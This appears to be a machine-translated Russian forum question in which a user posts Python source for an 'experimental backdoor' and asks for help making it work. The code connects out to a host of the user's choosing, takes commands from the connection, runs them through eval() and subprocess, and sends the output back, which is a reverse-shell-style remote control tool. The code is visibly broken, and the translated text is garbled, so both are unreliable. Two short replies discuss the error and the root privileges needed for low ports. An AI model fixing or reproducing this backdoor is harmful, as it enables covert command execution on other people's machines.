Я делал экспериментальный бэкдор, который должен вставить в переменную строку, которую я пошлю на номер порта 433. Я пробую это, но это не сработает. Вот код:Помещенный в переменную результат прослушивания порта TCP
import socket
import time
import subprocess
host = '' # <-- WRITE HERE THE HOST TO RECIVE INFO
port = '433'
s = socket.socket()
s.accept()
my_ip = socket.gethostbyname(socket.gethostname())
s.bind((host, port))
try:
s.connect()
except socket.error():
time.sleep(5)
s.connect()
s.send("\n[*] Status: Conected!")
s.listen(port)
while 1:
time.sleep(2)
s.send("\n[*] Status: Transmiting from " + str(my_ip) + "...")
s.send("\n[*] Status: Listening port " + str(port) + "...")
rmt_cmd = s.recv(1024)
if rmt_cmd != "":
eval(rmt_cmd)
s.send("\n[*] Status: Executing (" + str(rmt_cmd) + ")...")
process = subprocess.Popen(rmt_cmd, shell=False,
stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
cmd_output = process.stdout.read() + process.stderr.read()
s.send("\n[*] Command output/error(s):")
s.send("\n[*] " + cmd_output)
else:
s.send("\n[*] No command recived")
s.send("\n[*] Status: Listening port " + str(port) + "...")
Здесь код попытается подключиться к хосту, и если есть ошибка, он ждет 5 секунды и повторите попытку, потому что другой компьютер имеет программу, начать с ОС, которые принимают соединения, так бэкдор ожидания 5 секунд, потому что компьютер может быть включение:
try:
s.connect()
except socket.error():
time.sleep(5)
s.connect()
, но проблема в том, что я хочу поставить в rmt_cmd (remote_command) строка, я пришлю к порту 433, и это дает мне другое:
rmt_cmd = s.recv(1024)
Как это сделать?
Я не понимаю, какая ошибка вы получаете? – tglaria
вам нужно запустить это как root. Unix-системы требуют, чтобы корневые привилегии связывались с портами <= 1024. –
@tglaria Я пошлю строку в порт 433, и мне нужно сохранить эту строку в rmt_cmd – Behind7Proxies